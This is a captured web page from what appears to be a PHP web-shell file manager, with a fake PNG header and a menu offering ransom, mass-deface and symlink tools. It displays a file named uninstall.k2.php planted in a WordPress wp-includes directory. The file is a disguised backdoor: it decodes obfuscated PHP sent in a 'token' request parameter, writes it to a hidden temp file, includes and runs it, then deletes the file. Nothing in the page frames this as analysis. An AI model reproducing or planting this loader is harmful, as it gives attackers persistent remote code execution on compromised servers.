\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/eceas/wp-includes/network/includes/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/wp-includes/network/includes/uninstall.k2.php |
<?php
if(!is_null($_REQUEST["t\x6F\x6Ben"] ?? null)){
$comp = array_filter([getcwd(), session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm"]);
$hld = $_REQUEST["t\x6F\x6Ben"];
$hld = explode ( "." ,$hld ) ;
$component ='';
$salt ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen($salt);
foreach ($hld as $m => $v1) { $chS =ord($salt[$m%$sLen]);
$d =((int)$v1 - $chS - ($m%10)) ^ 33;
$component .= chr($d); }
foreach ($comp as $itm):
if (!( !is_dir($itm) || !is_writable($itm) )) {
$data_chunk = "$itm" . "/.value";
$file = fopen($data_chunk, 'w');
if ($file) {
fwrite($file, $component);
fclose($file);
include $data_chunk;
@unlink($data_chunk);
die();
}
}
endforeach;
}